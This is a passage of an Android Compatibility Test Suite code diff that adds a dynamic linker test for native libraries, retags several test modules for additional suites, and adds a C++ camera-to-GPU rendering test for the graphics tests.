+ fail("Data " + Arrays.toString(data) + " was accepted for DrmInfo");
} catch(IllegalArgumentException e) {
// Expected and thus intentionally ignored.
}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
new file mode 100644
index 0000000..97518bd
--- /dev/null
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -0,0 +1,48 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_a
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libdynamiclinker_native_lib_b
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+LOCAL_SDK_VERSION := 25
+LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_STRIP_MODULE := false
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, .)
+LOCAL_MULTILIB := both
+LOCAL_JNI_SHARED_LIBRARIES := libdynamiclinker_native_lib_a libdynamiclinker_native_lib_b
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+LOCAL_PACKAGE_NAME := CtsDynamicLinkerTestCases
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts vts
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/dynamic_linker/AndroidManifest.xml b/tests/tests/dynamic_linker/AndroidManifest.xml
new file mode 100644
index 0000000..db8099e
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.dynamiclinker">
+
+ <application android:extractNativeLibs="false">
+ <uses-library android:name="android.test.runner" />
+ </application>
+ <instrumentation
+ android:targetPackage="com.android.dynamiclinker"
+ android:name="android.support.test.runner.AndroidJUnitRunner" />
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/dynamic_linker/AndroidTest.xml b/tests/tests/dynamic_linker/AndroidTest.xml
new file mode 100644
index 0000000..5cc4317
--- /dev/null
+++ b/tests/tests/dynamic_linker/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS dynamic linker test cases">
+ <option name="config-descriptor:metadata" key="component" value="bionic" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDynamicLinkerTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="com.android.dynamiclinker" />
+ </test>
+</configuration>
diff --git a/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
new file mode 100644
index 0000000..f0d7c4b
--- /dev/null
+++ b/tests/tests/dynamic_linker/com/android/dynamiclinker/DynamicLinkerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.dynamiclinker;
+
+import junit.framework.TestCase;
+import android.support.test.InstrumentationRegistry;
+
+public class DynamicLinkerTest extends TestCase {
+
+ private native int functionA();
+ private native int functionB();
+
+ public void testLoadLibInApkByLibName() {
+ System.loadLibrary("dynamiclinker_native_lib_a");
+ assertEquals(1, functionA());
+ }
+
+ public void testLoadLibInApkByFileName() {
+ String arch = System.getProperty("os.arch");
+ String apkPath = InstrumentationRegistry.getContext().getPackageResourcePath();
+ if (arch.equals("aarch64")) {
+ System.load(apkPath + "!/lib/arm64-v8a/libdynamiclinker_native_lib_b.so");
+ } else if (arch.startsWith("arm")) {
+ System.load(apkPath + "!/lib/armeabi-v7a/libdynamiclinker_native_lib_b.so");
+ } else if (arch.equals("x86_64")) {
+ System.load(apkPath + "!/lib/x86_64/libdynamiclinker_native_lib_b.so");
+ } else if (arch.endsWith("86")) {
+ System.load(apkPath + "!/lib/x86/libdynamiclinker_native_lib_b.so");
+ } else {
+ // Don't know which lib to load on this arch.
+ return;
+ }
+ assertEquals(1, functionB());
+ }
+
+}
diff --git a/tests/tests/dynamic_linker/native_lib_a.cpp b/tests/tests/dynamic_linker/native_lib_a.cpp
new file mode 100644
index 0000000..8e8b859
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_a.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionA(JNIEnv *) {
+ return 1;
+}
diff --git a/tests/tests/dynamic_linker/native_lib_b.cpp b/tests/tests/dynamic_linker/native_lib_b.cpp
new file mode 100644
index 0000000..ce9081a
--- /dev/null
+++ b/tests/tests/dynamic_linker/native_lib_b.cpp
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+extern "C" int Java_com_android_dynamiclinker_DynamicLinkerTest_functionB(JNIEnv *) {
+ return 1;
+}
diff --git a/tests/tests/effect/Android.mk b/tests/tests/effect/Android.mk
index c347152..adf2baa 100644
--- a/tests/tests/effect/Android.mk
+++ b/tests/tests/effect/Android.mk
@@ -29,7 +29,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/externalservice/Android.mk b/tests/tests/externalservice/Android.mk
index 14e82c5..62afaad 100644
--- a/tests/tests/externalservice/Android.mk
+++ b/tests/tests/externalservice/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsExternalServiceTestCases
diff --git a/tests/tests/externalservice/AndroidTest.xml b/tests/tests/externalservice/AndroidTest.xml
index 7f6a7e5..258b034 100644
--- a/tests/tests/externalservice/AndroidTest.xml
+++ b/tests/tests/externalservice/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS External Service test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/externalservice/service/Android.mk b/tests/tests/externalservice/service/Android.mk
index e99a71d..9fc0033 100644
--- a/tests/tests/externalservice/service/Android.mk
+++ b/tests/tests/externalservice/service/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_NAME := CtsExternalServiceService
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index 7d71585..b7bd036 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsGestureTestCases
diff --git a/tests/tests/gesture/AndroidTest.xml b/tests/tests/gesture/AndroidTest.xml
index 5169643..5276c29 100644
--- a/tests/tests/gesture/AndroidTest.xml
+++ b/tests/tests/gesture/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Gesture test cases">
+ <option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index af59cbf..7ea5eec 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -26,6 +26,7 @@
android-support-test \
mockito-target-minus-junit4 \
compatibility-device-util \
+ ctsdeviceutillegacy \
ctstestrunner \
android-support-annotations \
junit \
@@ -38,7 +39,7 @@
LOCAL_PACKAGE_NAME := CtsGraphicsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Enforce public / test api only
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 360e09f..205e81b 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -18,11 +18,16 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.graphics.cts">
+ <uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application>
<uses-library android:name="android.test.runner" />
+ <activity android:name="android.graphics.cts.CameraGpuCtsActivity"
+ android:label="CameraGpuCtsActivity">
+ </activity>
+
<activity android:name="android.graphics.cts.ImageViewCtsActivity"
android:label="ImageViewCtsActivity">
<intent-filter>
diff --git a/tests/tests/graphics/AndroidTest.xml b/tests/tests/graphics/AndroidTest.xml
index 81a7045..baa1e70 100644
--- a/tests/tests/graphics/AndroidTest.xml
+++ b/tests/tests/graphics/AndroidTest.xml
@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Graphics test cases">
- <option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsGraphicsTestCases.apk" />
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index 629ae64..b92fcd7 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -24,12 +24,15 @@
CtsGraphicsJniOnLoad.cpp \
android_graphics_cts_ANativeWindowTest.cpp \
android_graphics_cts_BitmapTest.cpp \
+ android_graphics_cts_SyncTest.cpp \
+ android_graphics_cts_CameraGpuCtsActivity.cpp \
android_graphics_cts_VulkanFeaturesTest.cpp
-LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -std=c++14 -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow liblog libdl libjnigraphics
+LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
+ libcamera2ndk libmediandk libEGL libGLESv2
LOCAL_NDK_STL_VARIANT := c++_static
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index 4a40706..fe3bbc7 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -19,6 +19,7 @@
extern int register_android_graphics_cts_ANativeWindowTest(JNIEnv*);
extern int register_android_graphics_cts_BitmapTest(JNIEnv*);
+extern int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv*);
extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
@@ -29,6 +30,8 @@
return JNI_ERR;
if (register_android_graphics_cts_BitmapTest(env))
return JNI_ERR;
+ if (register_android_graphics_cts_CameraGpuCtsActivity(env))
+ return JNI_ERR;
if (register_android_graphics_cts_VulkanFeaturesTest(env))
return JNI_ERR;
return JNI_VERSION_1_4;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
new file mode 100644
index 0000000..dc28ced
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
@@ -0,0 +1,666 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "CameraGpuCtsActivity"
+
+#include <jni.h>
+#include <unistd.h>
+
+#include <deque>
+#include <memory>
+#include <mutex>
+#include <vector>
+
+#include <android/log.h>
+#include <android/native_window_jni.h>
+#include <camera/NdkCameraError.h>
+#include <camera/NdkCameraManager.h>
+#include <camera/NdkCameraDevice.h>
+#include <camera/NdkCameraCaptureSession.h>
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES/gl.h>
+#include <GLES/glext.h>
+#include <GLES2/gl2.h>
+#include <media/NdkImage.h>
+#include <media/NdkImageReader.h>
+
+//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+namespace {
+
+static constexpr uint32_t kTestImageWidth = 640;
+static constexpr uint32_t kTestImageHeight = 480;
+static constexpr uint32_t kTestImageFormat = AIMAGE_FORMAT_PRIVATE;
+static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+static constexpr uint32_t kTestImageCount = 3;
+
+static const char kVertShader[] = R"(
+ attribute vec2 aPosition;
+ attribute vec2 aTextureCoords;
+ varying vec2 texCoords;
+
+ void main() {
+ texCoords = aTextureCoords;
+ gl_Position = vec4(aPosition, 0.0, 1.0);
+ }
+)";
+
+static const char kFragShader[] = R"(
+ #extension GL_OES_EGL_image_external : require
+
+ precision mediump float;
+ varying vec2 texCoords;
+ uniform samplerExternalOES sTexture;
+
+ void main() {
+ gl_FragColor = texture2D(sTexture, texCoords);
+ }
+)";
+
+// A 80%-full screen mesh.
+GLfloat kScreenTriangleStrip[] = {
+ // 1st vertex
+ -0.8f, -0.8f, 0.0f, 1.0f,
+ // 2nd vertex
+ -0.8f, 0.8f, 0.0f, 0.0f,
+ // 3rd vertex
+ 0.8f, -0.8f, 1.0f, 1.0f,
+ // 4th vertex
+ 0.8f, 0.8f, 1.0f, 0.0f,
+};
+
+static void checkGlError(const char* op) {
+ for (GLint error = glGetError(); error; error
+ = glGetError()) {
+ ALOGW("after %s() glError (0x%x)\n", op, error);
+ }
+}
+
+class CameraHelper {
+ public:
+ ~CameraHelper() { closeCamera(); }
+
+ int initCamera(ANativeWindow* imgReaderAnw) {
+ if (imgReaderAnw == nullptr) {
+ ALOGE("Cannot initialize camera before image reader get initialized.");
+ return -1;
+ }
+
+ mImgReaderAnw = imgReaderAnw;
+ mCameraManager = ACameraManager_create();
+ if (mCameraManager == nullptr) {
+ ALOGE("Failed to create ACameraManager.");
+ return -1;
+ }
+
+ int ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
+ if (ret != AMEDIA_OK) {
+ ALOGE("Failed to get cameraIdList: ret=%d", ret);
+ return ret;
+ }
+ if (mCameraIdList->numCameras < 1) {
+ ALOGW("Device has no NDK compatible camera.");
+ return 0;
+ }
+ ALOGI("Found %d camera(s).", mCameraIdList->numCameras);
+
+ // We always use the first camera.
+ mCameraId = mCameraIdList->cameraIds[0];
+ if (mCameraId == nullptr) {
+ ALOGE("Failed to get cameraId.");
+ return -1;
+ }
+
+ ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
+ if (ret != AMEDIA_OK || mDevice == nullptr) {
+ ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
+ return -1;
+ }
+
+ ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
+ if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
+ ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
+ mCameraMetadata);
+ return -1;
+ }
+
+ if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
+ ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
+ return 0;
+ }
+
+ // Create capture session
+ ret = ACaptureSessionOutputContainer_create(&mOutputs);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
+ return ret;
+ }
+
+ // Create capture request
+ ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_RECORD, &mCaptureRequest);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureRequest_addTarget(mCaptureRequest, mReqImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
+ return ret;
+ }
+
+ mIsCameraReady = true;
+ return 0;
+ }
+
+ bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
+ ACameraMetadata_const_entry entry;
+ ACameraMetadata_getConstEntry(mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES,
+ &entry);
+ for (uint32_t i = 0; i < entry.count; i++) {
+ if (entry.data.u8[i] == cap) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ bool isCameraReady() { return mIsCameraReady; }
+
+ void closeCamera() {
+ // Destroy capture request
+ if (mReqImgReaderOutput) {
+ ACameraOutputTarget_free(mReqImgReaderOutput);
+ mReqImgReaderOutput = nullptr;
+ }
+ if (mCaptureRequest) {
+ ACaptureRequest_free(mCaptureRequest);
+ mCaptureRequest = nullptr;
+ }
+ // Destroy capture session
+ if (mSession != nullptr) {
+ ACameraCaptureSession_close(mSession);
+ mSession = nullptr;
+ }
+ if (mImgReaderOutput) {
+ ACaptureSessionOutput_free(mImgReaderOutput);
+ mImgReaderOutput = nullptr;
+ }
+ if (mOutputs) {
+ ACaptureSessionOutputContainer_free(mOutputs);
+ mOutputs = nullptr;
+ }
+ // Destroy camera device
+ if (mDevice) {
+ ACameraDevice_close(mDevice);
+ mDevice = nullptr;
+ }
+ if (mCameraMetadata) {
+ ACameraMetadata_free(mCameraMetadata);
+ mCameraMetadata = nullptr;
+ }
+ // Destroy camera manager
+ if (mCameraIdList) {
+ ACameraManager_deleteCameraIdList(mCameraIdList);
+ mCameraIdList = nullptr;
+ }
+ if (mCameraManager) {
+ ACameraManager_delete(mCameraManager);
+ mCameraManager = nullptr;
+ }
+ mIsCameraReady = false;
+ }
+
+ int takePicture() {
+ return ACameraCaptureSession_capture(mSession, nullptr, 1, &mCaptureRequest, nullptr);
+ }
+
+ static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
+
+ static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
+
+ static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ private:
+ ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected, onDeviceError};
+ ACameraCaptureSession_stateCallbacks mSessionCb{this, onSessionClosed, onSessionReady,
+ onSessionActive};
+
+ ANativeWindow* mImgReaderAnw{nullptr}; // not owned by us.
+
+ // Camera manager
+ ACameraManager* mCameraManager{nullptr};
+ ACameraIdList* mCameraIdList{nullptr};
+ // Camera device
+ ACameraMetadata* mCameraMetadata{nullptr};
+ ACameraDevice* mDevice{nullptr};
+ // Capture session
+ ACaptureSessionOutputContainer* mOutputs{nullptr};
+ ACaptureSessionOutput* mImgReaderOutput{nullptr};
+ ACameraCaptureSession* mSession{nullptr};
+ // Capture request
+ ACaptureRequest* mCaptureRequest{nullptr};
+ ACameraOutputTarget* mReqImgReaderOutput{nullptr};
+
+ bool mIsCameraReady{false};
+ const char* mCameraId{nullptr};
+};
+
+class ImageReaderHelper {
+ public:
+ using ImagePtr = std::unique_ptr<AImage, decltype(&AImage_delete)>;
+
+ ImageReaderHelper(int32_t width, int32_t height, int32_t format, uint64_t usage,
+ int32_t maxImages)
+ : mWidth(width), mHeight(height), mFormat(format), mUsage(usage), mMaxImages(maxImages) {}
+
+ ~ImageReaderHelper() {
+ mAcquiredImage.reset();
+ if (mImgReaderAnw) {
+ AImageReader_delete(mImgReader);
+ // No need to call ANativeWindow_release on imageReaderAnw
+ }
+ }
+
+ int initImageReader() {
+ if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
+ ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
+ mImgReaderAnw);
+ return -1;
+ }
+
+ int ret =
+ AImageReader_newWithUsage(mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
+ if (ret != AMEDIA_OK || mImgReader == nullptr) {
+ ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
+ return -1;
+ }
+
+ ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
+ if (ret != AMEDIA_OK) {
+ ALOGE("Failed to set image available listener, ret=%d.", ret);
+ return ret;
+ }
+
+ ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
+ if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
+ ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
+ mImgReaderAnw);
+ return -1;
+ }
+
+ return 0;
+ }
+
+ ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
+
+ int getBufferFromCurrentImage(AHardwareBuffer** outBuffer) {
+ std::lock_guard<std::mutex> lock(mMutex);
+
+ int ret = 0;
+ uint8_t* data;
+ int data_size;
+ if (mAvailableImages > 0) {
+ AImage* outImage = nullptr;
+
+ mAvailableImages -= 1;
+
+ ret = AImageReader_acquireNextImage(mImgReader, &outImage);
+ if (ret != AMEDIA_OK || outImage == nullptr) {
+ // When the BufferQueue is in async mode, it is still possible that
+ // AImageReader_acquireNextImage returns nothing after onFrameAvailable.
+ ALOGW("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
+ } else {
+ // Any exisitng in mAcquiredImage will be deleted and released automatically.
+ mAcquiredImage.reset(outImage);
+ }
+ // Expected getPlaneData to fail for AIMAGE_FORMAT_PRIV, if not then
+ // return error
+ ret = AImage_getPlaneData(outImage, 0, &data, &data_size);
+ if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE)
+ return -EINVAL;
+ }
+
+ if (mAcquiredImage == nullptr) {
+ return -EAGAIN;
+ }
+
+ // Note that AImage_getHardwareBuffer is not acquiring additional reference to the buffer,
+ // so we can return it here any times we want without worrying about releasing.
+ AHardwareBuffer* buffer = nullptr;
+ ret = AImage_getHardwareBuffer(mAcquiredImage.get(), &buffer);
+ if (ret != AMEDIA_OK || buffer == nullptr) {
+ ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, buffer);
+ return -ENOMEM;
+ }
+
+ *outBuffer = buffer;
+ return 0;
+ }
+
+ void handleImageAvailable() {
+ std::lock_guard<std::mutex> lock(mMutex);
+
+ mAvailableImages += 1;
+ }
+
+ static void onImageAvailable(void* obj, AImageReader*) {
+ ImageReaderHelper* thiz = reinterpret_cast<ImageReaderHelper*>(obj);
+ thiz->handleImageAvailable();
+ }
+
+ private:
+ int32_t mWidth;
+ int32_t mHeight;
+ int32_t mFormat;
+ uint64_t mUsage;
+ uint32_t mMaxImages;
+
+ std::mutex mMutex;
+ // Number of images that's avaiable for acquire.
+ size_t mAvailableImages{0};
+ // Although AImageReader supports acquiring multiple images at a time, we don't really need it
+ // in this test. We only acquire one image that a time.
+ ImagePtr mAcquiredImage{nullptr, AImage_delete};
+
+ AImageReader* mImgReader{nullptr};
+ ANativeWindow* mImgReaderAnw{nullptr};
+
+ AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
+};
+
+class CameraFrameRenderer {
+ public:
+ CameraFrameRenderer()
+ : mImageReader(kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage,
+ kTestImageCount) {}
+
+ ~CameraFrameRenderer() {
+ if (mProgram) {
+ glDeleteProgram(mProgram);
+ mProgram = 0;
+ }
+
+ if (mEglImage != EGL_NO_IMAGE_KHR) {
+ eglDestroyImageKHR(mEglDisplay, mEglImage);
+ mEglImage = EGL_NO_IMAGE_KHR;
